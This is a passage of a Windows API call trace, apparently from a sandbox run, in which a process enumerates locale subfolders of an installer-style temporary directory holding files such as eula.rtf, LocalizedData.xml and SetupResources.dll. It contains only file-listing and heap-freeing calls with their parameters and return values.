FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0131.123] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ad88 [0131.124] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.124] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.124] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.124] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.124] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.124] FindClose (in: hFindFile=0x69ad88 | out: hFindFile=0x69ad88) returned 1 [0131.125] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.125] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0131.125] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69afc8 [0131.129] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.129] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.129] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.129] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.129] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.129] FindClose (in: hFindFile=0x69afc8 | out: hFindFile=0x69afc8) returned 1 [0131.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.130] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0131.130] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b188 [0131.131] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.131] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.131] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.131] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.132] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.132] FindClose (in: hFindFile=0x69b188 | out: hFindFile=0x69b188) returned 1 [0131.132] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.132] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0131.133] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0131.133] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.133] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.133] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.133] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.133] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.133] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0131.133] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.133] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0131.133] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ad88 [0131.134] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.134] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.134] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.134] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.134] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.134] FindClose (in: hFindFile=0x69ad88 | out: hFindFile=0x69ad88) returned 1 [0131.134] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.134] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0131.134] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b008 [0131.137] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.137] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.137] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.138] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.138] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.138] FindClose (in: hFindFile=0x69b008 | out: hFindFile=0x69b008) returned 1 [0131.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.138] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0131.139] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b188 [0131.140] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, 